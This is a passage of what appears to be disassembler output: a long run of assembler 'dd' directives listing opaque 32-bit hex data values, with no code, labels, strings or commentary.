0BAF71826h, 9F029C0Ch dd 0F5CB7BC1h, 7DC3D586h, 31BC14CEh, 99816E82h, 982AF84Eh dd 0B51066BCh, 5912CA3Ch, 1E93EEFFh, 175C3A29h, 0FDBB72AFh dd 0F41399AAh, 0D3251758h, 38460719h, 12CE23CEh, 645126BFh dd 7AAD84A4h, 2AB90E0Fh, 7DBF97CCh, 0E78A7C1Ah, 1C75F0A1h dd 26A813A2h, 9452061Fh, 1B160D27h, 0A7C82363h, 0C5A37DE1h dd 4F18F311h, 0B6D510AAh, 87D7D9Dh, 6D2767DEh, 3FD8EF69h dd 0F9C4A34Ah, 56BBC70Bh, 3E222D87h, 82E907DDh, 1F08BFFFh dd 3F232935h, 3C38EB90h, 59579C53h, 0F3D19084h, 3652D374h dd 635CAC40h, 839BE1DCh, 0F6D6D310h, 0EC737ED3h, 0AD158620h dd 0C42AF5E5h, 4782A107h, 0DEB5E65Fh, 86AFD4A2h, 1B100DCh dd 0C3BA4D94h, 26F683h, 9B01B07Fh, 0A25421F8h, 1D71C66h dd 51B89258h, 0CCFD6DBFh, 9D885218h, 3A4E19FBh, 0D791362h dd 0FDBDC8BAh, 0B63B0CB6h, 6E50FF4Bh, 64D6F374h, 6363A4C8h dd 73D4CF6Fh, 0B847ADB0h, 30603809h, 5E46E2F2h, 0B068AFEBh dd 0AA97688Ch, 7D011160h, 793C0D60h, 0A53E37F2h, 0BD498D0Fh dd 0D4D2F70Eh, 0C7554F4Bh, 95F9D89Ah, 0D449EA19h, 0D3E22CC5h dd 18A45404h, 6493836Bh, 0FD63ED53h, 12A21BF7h, 0DDD581EBh dd 1649A280h, 5198DB1Fh, 0A3B93987h, 11541553h, 99989465h dd 0C66BE92Bh, 8CCC88D4h, 0C72892B6h, 0E92F18C0h, 0B0799253h dd 50F3734Ch, 8B8D2C95h, 6049288Eh, 601E4E44h, 17AC9C78h dd 0ED5A6D06h, 0EAA0BDD5h dd 0FAF659C3h, 1CE4BF3Ch, 28A6B45Ch, 582B9C15h, 3E307312h dd 0BB41AEC1h, 1C9DE942h, 0E541DF60h, 4982171Eh, 0C88307BFh dd 0AAB17E11h, 0CE9FADE0h, 405B6C7h, 0C4BC9C64h, 2205D67Bh dd 56E8BD89h, 0E8E5F45Eh, 7B17177Dh, 544C8B82h, 0CCB276CFh dd 0A940D703h, 58B13DB9h, 4166ACA7h, 478ABCCEh, 0C3307E88h dd 7F041677h, 0E2BFED41h, 817DE636h, 0B15E9F8Ah, 0BE6CDD4h dd 6DC4C0FCh, 90CE1B81h, 0F7A2C784h, 4AF5D82Eh, 0BA288721h dd 0C463AF26h, 35DF8849h, 0A56E3060h, 5A71A86Ch, 0C06D7651h dd 0AA156C27h, 66CA4A0Dh, 8A0AAB63h, 9783E476h, 2C18DA4Bh dd 64E638Eh, 354D4E4Ch, 7D9B2CB5h, 0F6E22301h, 0A2A4C298h dd 6D33C8EFh, 0AEC545A2h, 0CD7C9013h, 4A8B220Bh, 4777BDC3h dd 0F4FED7EAh, 6A3C532h, 0B8C2CBA0h, 49009C60h, 0B4C6579Eh dd 80AFA27Bh, 0A08083D0h, 0C61AA97Ch, 0BFE0A9A1h, 456D1608h dd 35A945A9h, 848D91EEh, 1693610Ah, 7195C19Bh, 0C10E12E4h dd 0AB84B202h, 0C16ABA75h, 39BB0C2Ah, 192953B1h, 3CD7A067h dd 0D8E3E95Ah, 7470B746h, 0C7577DE9h, 0E7B67404h, 16B3D5FEh dd 73587CC7h, 106684DBh, 4C22CA44h, 10D5FF96h, 6D584985h dd 0ED4C3EDBh, 229FCA3h, 40E60745h, 0ADCE3DE4h, 0A3013AB8h dd 0AC7BAF97h, 65795203h, 0F3928CBCh, 0C777EB44h, 9D7729B1h dd 0A30D19Ch, 38C9517h, 92911EC0h, 6E5A6081h, 59461423h dd 5B1450D1h, 34390E77h, 7B94BC1Dh, 3500334Ch, 4ACC0015h dd 18AD2E07h, 805D79B8h, 0E852DA91h, 3174871Eh, 0F1B09679h dd 0DD58164Ah, 3A03EF11h, 535BB291h, 0AA84E49h, 95FC0594h dd 280F3697h, 3AC83D44h, 0ABBFB6F0h, 4C8DD852h, 0B9B60AD7h dd 56FBF57Ch, 0E7EAEFDCh, 3C5021EEh, 0DCD6F94Eh, 0C4D57AD2h dd 0BB58D882h, 3236BFE2h, 0A36F28E8h, 0FE191F7Fh, 0F5DDF550h dd 6AA2DC23h, 0E516C84Fh, 0C48861h, 4D448582h, 0EBE63F53h dd 8DE35F38h, 29B88BDEh, 939ED9A4h, 0C345D49Ah, 0BFE62257h dd 0F9A31032h, 9BD79CC6h, 61F6DB18h, 96A06CCFh, 2446B815h dd 0FCD621B9h, 7F0145CEh, 79245DDBh, 3378A014h, 0A517860Bh dd 0D0CC02C7h, 600E7B0h, 789B5030h, 0CB6E6AE8h, 69E14DBDh dd 0ED04722Fh, 9D2EA4ABh, 0BF4DACBAh, 0C6FD8DD1h, 0DDABF758h dd 0F98E340Eh, 0B929547Dh, 0E71E025Eh, 0EEC018ABh, 45558221h dd 0E8475B73h, 0E8A0D51Dh, 0F4B4F6F9h, 0DA3A3EB2h, 70BE8417h dd 0A317E1E9h, 0A4C317C8h, 5217E7F6h, 58194B06h, 4EB4E20h dd 1585C800h, 0A90C8A10h, 510799CAh, 0C8A74ED9h, 0CB009010h dd 69A4E79Ch, 0DBEFF33Bh, 6DFD1150h, 9C7DB4F1h, 0C0A1CEE2h dd 80288E56h, 0CEEAF86Bh, 24CB1B86h, 95C0ADA9h, 6B1DEF04h dd 0AEF7146Dh, 431C6CC4h, 9A8547E7h, 54DB97A9h, 4686A359h dd 8775B2Ah, 64614C6Ch, 0B56D33Eh, 0D8630EFEh, 0FA60C86Ah dd 721A891Ch, 6DF049ECh, 6FC500C6h, 0AA9DCF6Ah, 0F4148784h dd 4E601C67h, 0A82D21EDh, 0DA9A59FCh, 32577F1Ch, 40643A2Ch dd 0ADAFD4CCh, 0BF136228h, 31A9B5Ch, 0F9AA6CE8h, 690B439Fh dd 717440E8h, 92FB4B53h, 0F7898AA7h, 62CAE6C6h, 0E81B5712h dd 658F2A15h, 70590A77h, 0C78A131Fh, 0B3262104h, 0E045128Bh dd 515A0D9Ah, 2B0FA3C1h, 473ADFB3h, 897D5B0Eh, 11C485CEh dd 770B84CEh, 2A40C06h, 0FC86E03Ah, 8311766Dh, 7EF83FE3h dd 0D2F4D3E1h, 2B50E493h, 37DACEC3h, 0D4904176h, 0A6F069D3h dd 0BE1E4A2Fh, 8AE0FF19h, 22112A98h, 0C1E2DCBFh, 18DB3C78h dd 0AD015E99h, 36E07CEBh, 0B52AF34Bh, 38FB0A8Ch, 733E182Bh dd 0A5E3CF26h, 0E521CD21h, 0B44BE70Fh, 66A3FDE7h, 99F95148h dd 77089722h, 2A33FACDh, 0E98CC69Ah, 8FAE04FAh, 868A670Dh dd 3D5F5007h, 0F151854Dh, 9102B552h, 34F1E210h, 4CD42D4Ah dd 1A8E3CB8h, 0AD4F7AA5h, 3E8D454Dh, 5CAD3BEDh, 0C99F0298h dd 78F6564Fh, 1C159B20h, 2520101Eh, 588B1BDCh, 0E943978h dd 8BED23Bh, 0D6FE7341h, 7FA98BC9h, 758A6D24h, 1A1BAE9Bh dd 72E15D56h, 4D0A857Fh, 63272617h, 29821353h, 35D938FCh dd 0BC93E66Ah, 4B7EC0CFh, 0DC68CE80h, 5503D655h, 8272B60h dd 0F0E7207Bh, 45D6666Dh, 54BFFC9h, 0F123FE79h, 2560CD5h dd 45181B42h, 281113FAh, 45533B10h, 33B9A77h, 5626FD11h dd 882CAD2Bh, 74168BA4h, 90AD3457h, 0D974BAE7h, 4A046E5Eh dd 307C870Ah, 5057BDF6h, 5CA1802Eh, 0A654F79Dh, 540312AEh dd 0FBA33201h, 0B335EC1Bh, 0BF3A2A0Ch, 0B0EB83C2h, 5AA16945h dd 0F8A2F705h, 8174C17Ch, 0EC98643Eh, 0AF6D4124h, 0A565DFB6h dd 0D22DC8F5h, 86C88B40h, 0A2E51C79h, 69AD4C2Bh, 9BA914DFh dd 4C8D2E2Ch, 0D77B7E9Ch, 156849B2h, 0B4DFBD31h, 0AB0454B9h dd 806138B8h, 9F431E0Ch, 78994F3Bh, 0D206C97Fh, 346B9037h dd 6D2C9B2Dh, 4E8A30E7h, 2040263Ah, 5A1CD989h, 3032975Ch dd 4E7B1A99h, 7BB0FDA1h, 4D20F6AAh, 0FCE1C74Fh, 9C03AF6Ch dd 0FAF69F84h, 0F3E5EA64h, 307B88BCh, 50E58D4Fh, 0B18B77A1h dd 2ED5BBD5h, 0E0E667F0h, 0DDBD3466h, 2B455B4Ah, 0E8E69E88h dd 0AF154449h, 0FBBD1638h, 7765F51Ah, 9E90CBB8h, 6D713A3Dh dd 0E92CEC0Ah, 0DE8B9424h, 9D47BCB2h, 255EF73Dh, 65268BCBh dd 0FD623C8h, 9C865DC2h, 16D76878h, 530B9306h, 4040B547h dd 0E8BEB73Bh, 76177D99h, 0D0ACB0B6h, 2D931849h, 6A8C42Eh dd 524AB9F1h, 7B625AEh, 6FCE2129h, 41775E0Ah, 0EBE2B578h dd 3FD20E6Ah, 210D751Eh, 0A2D7689Ch, 24B3CAE3h, 0D4676C88h dd 0C0717A10h, 422DFE85h, 0DF737F22h, 4C72E4BAh, 7FAF2C63h dd 84CE5D98h, 0F8669219h, 0A41F6027h, 1F6C9478h, 27ED6666h dd 0B9B068D1h, 0FAB15434h, 0F00334BDh, 0D6931E86h, 0BA173FE7h dd 6D74B15Bh, 0BE3F38E2h, 0BB66EF31h, 157B5CECh, 0DF277676h dd 0A312755Ah, 84FA8D36h, 0E3DC0177h, 32BADCFEh, 0FF80BA52h dd 2570018Bh, 0EEB18381h, 7F6ADD14h, 0EB5FB4ADh, 8AB72033h dd 23E96EDEh, 0C5E33878h, 62C78534h, 500226ECh, 9E6157B1h dd 4D7AA0B7h, 606B9F1Ah, 8C2B148Ch, 7D9B3960h, 5A2B0837h dd 4A898862h, 3FF7AAD2h, 0A10D72C5h, 0DB399552h, 0A293AE0Dh dd 5C57B4A7h, 0EABFE295h, 0FA62A741h, 814DA059h, 169F8636h dd 69F41E92h, 6AC4E03Ch, 0A8A8DAE1h, 290A7B44h, 96D4D6E6h dd 3B43BE2h, 652FE760h, 5FCC7A3Dh, 0A3B40B59h, 708B48FFh dd 353FD285h, 0BBD2A1E9h, 0BEF78C06h, 0B152FC8Ch, 9BE9B498h dd 0F558AC3Dh, 2226C80Bh, 0D902FA1Ah, 2FD3DB81h, 0A320DE46h dd 0C88A91h, 0C0571FDDh, 775691CFh, 5FBA217Ch, 0EBC4A2E1h dd 0F2539B41h, 0C414440Fh, 7BE975F8h, 15D99460h, 904ED19Bh dd 0DAB15516h, 0FCD475DBh, 8D5D0097h, 7F4F2203h, 0BEAE747Eh dd 0CC22D71h, 1308169Ch, 0B05E254Dh, 927B1117h, 1B32DD7Dh dd 9FA26ED4h, 0E1D8AB41h, 0D161BB40h, 13CB8DDh, 379FE93Ch dd 0EF2B4B95h, 0E1648C0Ah, 368F3EE7h, 0D07EE520h, 71D912D4h dd 22A71Eh, 75996669h, 6461B2E5h, 0C8C3B4B8h, 0FFDE94C4h dd 9199CB6Ch, 0E962D603h, 2673F62Ah, 9629C87Dh, 333440A7h dd 0E2808A7Dh, 7B43AF33h, 77F3491Eh, 3B536DF9h, 0F89A04C3h dd 48C75454h, 0B0DEF8D6h, 0D1CA74Ch, 2066AF31h, 5D50A3CEh dd 0F7DC6FA8h, 934419F8h, 2B2A190Ah, 0FFA12CF2h, 118F0722h dd 3A4E5497h, 851D97EFh dd 0ACFFAEAEh, 9FC9CE46h, 3C5B200Ch, 0CB61CE71h, 0B42C55DAh dd 0D85F5286h, 87865125h, 5165847Dh, 434A23E0h, 0EEC79658h dd 0DD46CF04h, 0B5DC7BA0h, 221A2EAh, 2B2B45FAh, 7860411Eh dd 8B460438h, 9B0252D4h, 0BB8CA1C1h, 72487B2Ah, 7371CA87h dd 284640D7h, 70923546h, 833E28EDh, 0BB82149h, 7DA87D30h dd 1E70686Ch, 0BFAB1DAAh, 0BC447056h, 1FE9D160h, 0CB5AE23Eh dd 0D8A2103Bh, 0DB7AFCBDh, 0E7E3EF69h, 80650C13h, 0EB9DA36h dd 0B87F63EAh, 0F95E78C6h, 0E28F9BBBh, 9E070D9Ah, 0A1C1BF65h dd 0C8491331h, 8261E8C4h, 0C38FCF36h, 18B257B9h, 42DDC4B1h dd 96222294h, 45FEC61Eh, 64B1BD1Fh, 0A53AFF22h, 49341F6h dd 0CBFFAC18h, 0BF719CEBh, 6886C85Dh, 88E1DBB1h, 8D943306h dd 0A8EAAB25h, 895103FDh, 407FC62Ah, 178AA37Bh, 509EE59Eh dd 8596961Bh, 1A66E4E2h, 0C2CB7086h, 0C7BA2A59h, 104DCD03h dd 7F4A8883h, 9002D077h, 9BF20B51h, 0B4D5A687h, 76A431D2h dd 7DFE8B95h, 0C8631EBAh, 0E2809BE1h, 0E6AB90AEh, 433E620Ch dd 1D3DD1F6h, 2B884199h, 8651F643h, 0B900532Eh, 8525D94Fh dd 0A27EB705h, 0D8430B21h, 627B995Ch, 0CF7FFFC9h, 0F8A61D68h dd 4915390h, 0A2F4F982h, 0FA4184B4h, 0CA261819h, 77B402F7h dd 0D799D7C2h, 0EA555E1Eh, 0AF5B0791h, 329B9EFEh, 0B637161Ah dd 1990941Bh, 44F2A009h, 0A9DB63D4h, 0E8EF9A1Fh, 8550F2D1h dd 87AADC5Eh, 0BBACA664h, 0A12827Eh, 0FADF81DBh, 0EA76220Dh dd 1EAFD066h, 0D7C7C226h, 6BA12E8Ah, 7BB11282h, 6660FECEh dd 6D204EAh, 58821E9Fh, 6D5A1571h, 0C815B1F6h, 0AA8A402Dh dd 0E0504555h, 100A76AAh, 1565617Ch, 61F8702Ah, 0D41B9799h dd 8513FABFh, 49A787C9h, 0C33381BDh, 0A767EF9h, 6E8B3803h dd 4C48FB28h, 2F07167Eh, 0B31B8A6Bh, 59FE7BC8h, 4E58B65Fh dd 0EB2BFC15h, 0E6F4F520h, 0F3D93DD9h, 0B73FEE8h, 0D0C4E42Ah dd 0AD670F12h, 20756CB6h, 0EE4D00C9h, 2476EF9Ch, 15180C35h dd 3BF88EB3h, 841CE383h, 0F6700FE5h, 2CD70762h, 0DBEBA1F7h dd 3DF169D7h, 1BECD005h, 0DFF43A1Dh, 4BD8ECDBh, 8E38232h dd 2C2E4FFAh, 6D1C051Bh, 80F6E42Bh, 6CEF1FC1h, 2AC0E186h dd 9F83943Eh, 3092BA63h, 0D5D8E344h, 3D53534Ch, 0F853DA4Ah dd 1E84639Eh, 0EB9B36F2h, 0EE0C7D32h, 0E581F196h, 6D96523Ah dd 3F506AB8h, 4E0EFDCDh, 564E1965h, 0E1062EB6h, 1FD7F382h dd 30EB6A7Fh, 501A4C63h, 0FC30257Ch, 0BC1F5A91h, 53F21740h dd 0ABC74204h, 66D0D98Eh, 97D53FD2h, 226616C5h, 0A1DAA5CAh dd 1EE5C6F5h, 0D8C880BAh, 6058B192h, 0C1E9D52Eh, 0F047B1F8h dd 0EC1CA6CEh, 13D62577h, 21349776h, 0C3D1FC35h, 0F340DE63h dd 662F4BE4h, 5C9FB47Eh, 75E5C4EDh, 0FF73D223h, 88459A0Ch dd 25C964DFh, 0FCB26882h, 106DEBFEh, 548A46F7h, 0D5DC2F9Eh dd 81D6DB7Eh, 85CB84D4h, 5C672247h, 5601D864h, 0D1E5B079h dd 6DD22EC5h, 36948339h, 37EA3F61h, 253FDAA9h, 5F86919Bh dd 3EF05320h, 37125653h, 40521C21h, 943153ABh, 31150FEAh dd 981260E8h, 12072AABh, 208F9F64h, 26ACBB4Ch, 75BE7A61h dd 565581E1h, 0F24F6A29h, 0B903DD91h, 0C63D763Eh, 77E1CFAEh dd 797F0B2Fh, 53644582h, 4D61BC74h, 0AB98E2C0h, 0E81379Bh dd 7BD54D39h, 4C89CE6Fh, 0F6E941BCh, 24FD22C7h, 9FB17E62h dd 2A3B0E4Bh, 0FC3A95E2h, 2C371CDh, 81E89E27h, 0C086F1E0h dd 0BFDFE50Ch, 56706FC0h, 63BCE0CFh, 0D6FA268Ah, 0E84A4594h dd 6A3ABA2Ah, 0A025CD52h, 0DF1F5F9h, 40C03D95h, 192A77C9h dd 12583CC6h, 0B6428751h, 0E65C73C2h, 0D82BCC0Ch, 229EA848h dd 5523F8C7h, 0C35699F4h, 6F97725Dh, 0CBF63A7Bh, 423FB11Bh dd 0AF917A68h, 0B0D50A62h, 8828E6BCh, 5953792Ah, 50C94DACh dd 9D1DD494h, 0CD7C6E28h, 43DAFDB6h, 7592C45Bh, 0FD44F651h dd 6F7BB655h, 0D67F908Fh, 0C61F30B2h, 776933ADh, 94B5CEA7h dd 3B57748Fh, 92AE062Dh, 0ED69D51Fh, 54EBFD95h, 50FAD73Ah dd 0E05DDA1Dh, 24C90692h, 87AD5DF5h, 564FECF1h, 0B1686AF2h dd 1634D5C6h, 0EEB6A928h, 3B8F9A63h, 31B00330h, 0D5683B3Eh dd 0E999DA73h, 0B7963B0Ah, 17D15FD5h, 0B56E15B7h, 79FE80DAh dd 0C382D73Eh, 70D5C168h, 334E54A9h, 1FDC67F1h, 9996FD09h dd 0A841EC5Ah, 2F5D8906h, 73324C2Dh, 4F4CBFB0h, 845FD7D6h dd 4E146D81h, 7C0E74A2h, 77B333EAh, 58627121h, 0FC69A69Eh dd 92CE70E3h, 6AFCEF9Ch, 0D3FFA723h, 0FCF28C2Bh, 70C644F3h dd 0E695E316h, 81031537h, 0ABEEFA6h, 6DA7F8CBh, 0E4C8265Eh dd 920B6BEAh, 67DD0DCCh, 0EBB49E1Dh, 0EB267BEh, 53BFF60Dh dd 0E38F5F60h, 5DD547C1h, 0BD89D85Dh, 383448CDh, 0F6DFA31Ah dd 0CCFEA2ACh, 638980EFh, 286633Ah, 9F8A5B99h, 0B3BAB7A8h dd 5E6C7CA0h, 0E1C1D355h, 88B10BA2h, 6F6E9019h, 0DF2FFC8Eh dd 22B61EC3h, 3E32B831h, 0FFCBACB0h, 93E98E59h, 0A6404B0Eh dd 42AB5C62h, 0D0FB54B3h, 0A4D849DBh, 38396B59h, 0D33F1DCFh dd 77B02CE7h, 0C88AA4F3h, 0B81A8D44h, 0F66CEC65h, 0B769E202h dd 0D6B95F12h, 4D557A7Ch, 0CEABA6A9h, 8B4EA4D7h, 0FC2B3E40h dd 74DB5E4Dh, 0CC6A1537h, 0CC4AB9Fh, 0E2B31085h, 0AB0B8182h dd 25EBEF8Fh, 8DB80FCFh, 0B2B8A103h, 39F7BE5Fh, 0CE1C75C0h dd 65951F3h, 0E3993DACh, 0E2D24B7h, 26EFD196h, 7C586472h dd 0FAF21539h, 192DBEBCh, 90681E61h, 0A13694F6h, 0E0B89A87h dd 0E26888D6h, 2E77FCEBh, 9E17B938h, 328C848Ah, 33E19D69h dd 35BFC582h, 98054787h, 0C285A962h, 94AC772Ch, 4BB874F0h dd 0B4F92B3h, 0A56B819Eh, 67E20Eh, 484AC3B7h, 0C25D09BDh dd 8FE77529h, 9EA6038Ah, 9C5C2018h, 0E7EA7D1h, 75ACADE6h dd 2D2684A7h, 0E57D3D57h, 0DE1133DCh, 0B41603FCh, 0AD41514Fh dd 50EEE9FBh, 68D83009h, 185A7711h, 0C8B44A8h, 0D5586F68h dd 81F5806h, 0C69C1DF4h, 0B530FE06h, 0B06FED4Dh, 3BF55746h dd 80B8F947h, 3C24A172h, 37F5531Ah, 5954A2FFh, 0FCFE4081h dd 0FCFBB6D4h, 0EE7B4698h, 0CAB706A3h, 7477443Bh, 1CAF86CCh dd 75126342h, 0BF687CCCh, 0FB7986EDh, 10769829h, 2D26B8E0h dd 93780038h, 8B8740Fh, 0F52CA131h, 209192A2h, 0B12BD0A9h dd 0BE2E3F7h, 90351EA0h, 5F6D8766h, 0CF73C26h, 6E67B23Ch dd 497EE862h, 0B6E4B127h, 0C838642h, 206FF9A2h, 63211665h dd 0DBA2E498h, 67A48EC4h, 0DA362DB9h, 87AACFA1h, 0AAF94D58h dd 373ED33Eh, 910079BCh, 0D346FC85h, 36FD7D6Fh, 26229A38h dd 0ADED0A3Eh, 0ED7C9798h, 0D1FCE5B6h, 0A347450Eh, 3CD64835h dd 0D76573B1h, 0B46BB233h, 0AB1CCF3Ch, 0E89C0FE9h, 2F1AC8FDh dd 259252E4h, 98FB9A66h, 0B47A3153h, 73063C6h, 0CD355884h dd 9F19A6AEh, 7C5B3B51h, 1324EE28h, 9A67D936h, 454A9671h dd 61EE528Ah, 3F1BDE71h, 0D2F8650Bh, 90C39289h, 66785B10h dd 45A9BB74h, 0AFA00910h, 54C75204h, 0FC91B678h, 0B604A3C4h dd 4D5B71CCh, 0DDEFAA8Ch, 925DEE6Dh, 1C1F0ACBh, 0DA3A8DFBh dd 8EE776Bh, 1979BE50h, 9C8379A8h, 317D2B4Dh, 73BBC0D7h dd 8F12DFCCh, 0E5B0ACB4h, 27CA87DDh, 84154021h, 9486E520h dd 4400C7D0h, 136743E8h, 0BFB63B20h, 422AAA1Dh, 3CAD9D39h dd 40AF1961h, 4842010Fh, 0F7C25D29h, 82A1DCA9h, 552624A7h dd 3DF40470h, 31CBED87h dd 26165C3Fh, 0E8E148CEh, 2F50CE9Dh, 581F8217h, 53765C4Eh dd 0DEC5925Bh, 0DCF23DCBh, 4983AD5Fh, 66ADD1Fh, 5F01CF62h dd 5F29A04Ah, 390B7D4Fh, 610AF973h, 0CA25B51h, 853EB440h dd 48440D91h, 96241DD1h, 45D781DFh, 6683E530h, 18AB641Ch dd 51EC63Bh, 1F09972Bh, 7AE989BCh, 3ED1D7A6h, 6017B049h dd 30E1E7C0h, 24FFC763h, 0D4101CFFh, 0A38E97A1h, 9CA015B3h dd 3689D366h, 0A9A2A159h, 0F2202023h, 9D7C1A85h, 0A498E63Bh dd 0D9C9085Fh, 2D3548E0h, 744F1A3Eh, 0BF822923h, 407DABEBh dd 0CF9842A3h, 90E2019Fh, 0DEF78E0h, 57B1F58Fh, 1866E6EAh dd 76BC5BE0h, 0AFEAD49Bh, 0C67B3187h, 1D25C6DCh, 52624F12h dd 3BF77ADFh, 98E8CCF3h, 1F3E5C03h, 0F8B11FBEh, 0DF1497AAh dd 1967FF28h, 8EB4737Dh, 0BBD0AB18h, 5FB77031h, 9C20DAE3h dd 0EABD6620h, 81599E77h, 1DCEFCCCh, 665E6502h, 3A20B5CDh dd 0B646127Bh, 0BBA7A14Ah, 0BD095325h, 0E74CEBABh, 91DFAEFBh dd 737316EFh, 1BD128F1h, 0AE7D605Bh, 0DB15D83Bh, 0AC231E38h dd 9C559195h, 0DA75062Ah, 0DE2D4CECh, 327A2434h, 0E13CBB43h dd 0D42A3C1h, 0BF735AF7h, 8A4605C8h, 0FF782985h, 0C42D521Fh dd 0DA04BB59h, 7F2B3074h, 0A2621EF3h, 0B3AA6A11h, 0D8EEC5FDh dd 2449CB8h, 80B19F3Dh, 52C90EFBh, 1B1BC6FBh, 0A96289C8h dd 0A95208F5h, 6F02FE48h, 189DC71Ch, 4DA0462Dh, 6E446B14h dd 5D19C2F8h, 105C7655h, 3C3B69F1h, 0CCD1C2BCh, 28D3C949h dd 0A1923B59h, 53924974h, 6C487D29h, 91D74E11h, 60F295DCh dd 0AF0917B4h, 8CAEC0C0h, 0B3A75364h, 0A43F846Ah, 5AC0EE9Dh dd 8CF24967h, 0E5F28E35h, 0D9C2DC06h, 6119CEABh, 0E61200ECh dd 2A80106Ch, 8DF74E45h, 99D0CB3Ah, 7321C3E4h, 0E7CD296Ch dd 0F75F5E96h, 64C9F70Ch, 9916A492h, 8D763935h, 827B3DA4h dd 94756C31h, 4427C3B9h, 22697AF3h, 4A0C49E2h, 0B39F07ABh dd 527FB585h, 0E1EDFAE4h, 0D2F15DF4h, 0C2126071h, 6D0DD9C1h dd 0F13CF951h, 97AB9747h, 8DC4D0E5h, 12E9B8B8h, 2891670Ch dd 0E6BD8998h, 0D6F73019h, 0B970921Eh, 85244C26h, 0E900D02Fh dd 8CD8980Eh, 4FB6124Bh, 8D49917Ch, 1482ACA1h, 0A5DA76DCh dd 0C3FD8EAFh, 838282D2h, 0AA778A8Ch, 72F8B391h, 3773CC93h dd 616988C0h, 4A1B16D1h, 73347ECFh, 587370h, 6656AD57h dd 0BC0AACC6h, 0B05F4CA1h, 0BE6D3445h, 0FCE5C4D0h, 0B038C8B2h dd 0B9CB66EBh, 9849A3Ah, 2EFA313Ah, 2A994FBh, 0B8B6C017h dd 5CAD4979h, 0C29CE8C4h, 0D129820Fh, 1AF47A4Ch, 0C8061F67h dd 0FE56E300h, 0D845FA04h, 4524468Bh, 2A7B6B5Eh, 435B4910h dd 542A454Eh, 0B95C29C7h, 731F543Dh, 32CB663Ah, 0EB50AB98h dd 0EDF291C3h, 3DDA4Eh, 2E64CDBAh, 369F1F98h, 296EC370h dd 0D61029FCh, 493937F9h, 4B8FB58Ch, 0B6B7DA44h, 0E886254h dd 0C8CEF7DBh, 300D219h, 0FCD0E1D4h, 5E542F51h, 0DBBFBA5Eh dd 0E520F2D9h, 3B22BC67h, 85EED7FAh, 701D567Ah, 1A923F4Ah dd 2D1FBCCEh, 0B6FDFEFEh, 775D2026h, 0D728D7F2h, 0D9DE6159h dd 0E6357CA7h, 0DD37BAB6h, 0FF42397h, 2127A6D3h, 0FC77067Ah dd 882E8738h, 372A6AEAh, 670D98ABh, 846DA795h, 5EDC3553h dd 83EB61F1h, 47F57E4Fh, 5CC2FD22h, 0DDA2DE82h, 3D68A35Fh dd 8D993E38h, 1A7D3208h, 0F4D67BE2h, 76DE2AF4h, 0F973AD67h dd 1F886C61h, 50C7361Ch, 5B528C86h, 0D0053705h, 6A13C613h dd 39497DDEh, 0BEF1FEB8h, 0DD3D1E13h, 23EEAF5Bh, 4C2DF722h dd 1E23BBAh, 0CAB4979Eh, 50EDF74Ch, 0E6988BBAh, 8C11C52Ah dd 222D3FEFh, 83C150C7h, 473A1FB4h, 5ECF470h, 28E29A1Dh dd 0D393EFEFh, 0A974E43h, 7856AFB2h, 0ECD8DC10h, 0EC229430h dd 43B25177h, 0C4231582h, 81F1B6B1h, 65570DC3h, 0D081B79Eh dd 3F03B619h, 139BF519h, 274CCF9h, 4B12EFCDh, 5540C854h dd 0AAABFE17h, 6BCC82EAh, 1A97A35Eh, 0C4300E02h, 1A7FD6CEh dd 4610BBF7h, 0AC19160Bh, 838DF9C1h, 0AAE7D361h, 0FBA73C42h dd 6B295D8h, 686E5C87h, 2D9D7551h, 594F4738h, 61F8AFA8h dd 0FDD216E6h, 606852C2h, 0D6C762C7h, 0A1A6675Bh, 5476B70h dd 0ED44AF5Bh, 0A6F9CC1Fh, 0B83B2D1Fh, 44BF5047h, 0C07432F6h dd 568510C8h, 0DD215A25h, 0DC90AE5Ah, 4AC757D8h, 3659BB2Eh dd 7F07F190h, 9F98E946h, 7BB5E4E6h, 0C19B867h, 42492E70h dd 0CE7963F5h, 65B85121h, 3C812423h, 0FD380786h, 1538F3C0h dd 0D9D7B345h, 66E6BB8Bh, 0EEE8A585h, 9C53227Dh, 705227F9h dd 6A19642Dh, 117986Ch, 7A9FADB0h, 2A5274F3h, 0D45B86BBh dd 4E29B93Ch, 0BD40E977h, 0C3E10EC2h, 5608AFBAh, 0BB455689h dd 0CCEAEFBFh, 0E268B547h, 0BB35FE6h, 4BF343A3h, 7FDC7A00h dd 0A4C9C257h, 0FD1A4D82h, 0BF320C4h, 141AFE93h, 2994054Ch dd 0F317095Fh, 0AC337F15h, 84C97905h, 0DF66BBE3h, 1BACB8C9h dd 0CCB02739h, 6ABC9E74h, 77CE6920h, 4103538Fh, 26D9F105h dd 30C50C2Ah, 0FD0879A8h, 0BCFDFEEAh, 0F278FDCAh, 0F50C9E3Eh dd 0AF472F34h, 0FA9CB134h, 0E70417CCh, 0AD67879Bh, 0A324F400h dd 0F5EA212Ah, 0FDCC00AAh, 0A896DD23h, 7F211CD7h, 73C70AD9h dd 5B8E5FE7h, 0BCF2B06Dh, 571C01BFh, 1A08E5B0h, 2EEEAF53h dd 59050BD0h, 0AF8878FBh, 14296D3Ah, 97AA9EEh, 53EC57A7h dd 3227FE21h, 41A51A49h, 0E6B8C2A4h, 68E0A36Ch, 0A9DF33FDh dd 84E4BCC1h, 0A2FA0037h, 0A0B4CB61h, 0BBBD9A62h, 0E2DC93BAh dd 91AAA52h, 4B14813Fh, 0EF6F0B8h, 0DF831F41h, 0DC5DA97Ch dd 0F50C2F5Dh, 763462EAh, 5674398Ch, 55177EFAh, 59382191h dd 3A64AC68h, 0CFDED370h, 9C6E080Ah, 0A83ACDC6h, 0C0E19D79h dd 8F37D588h, 0A7BCCB1Bh, 0A765212Ah, 73A9F65Fh, 0D6265998h dd 6D1FD972h, 8DD950BEh, 36DB8AD5h, 0F8BD52FCh, 6B3298E1h dd 0C0E2F22h, 0C6A42996h, 0E364E923h, 2BCB92A0h, 5B49F318h dd 0A865C564h, 0FCD56336h, 35FD4189h, 0DD3EB2E5h, 8EFEF0D5h dd 0F019BEBCh, 0F4C4BDBCh, 796AD7E9h, 4D412625h, 8EF3F334h dd 6DAFE7D6h, 293DCAD0h, 992A93E3h, 29806F06h, 0C38B753Dh dd 0FD7985Bh, 0CC34A85Fh, 0D8890EC1h, 4D7EC890h, 0B08ECD0Fh dd 9559A069h, 8E5EA0F1h, 0CAF1DF42h, 899207D6h, 0C482A68Ch dd 702B0052h, 1153740Fh, 4FE426B5h, 92AEC62Bh, 0BFEA8004h dd 3711A59Bh, 0B169AAB0h, 0E3B10D6Bh, 0EA60C0D6h, 62F648B3h dd 3A60B40Fh, 0F658DDDAh, 271A07D4h, 34B0EFDFh, 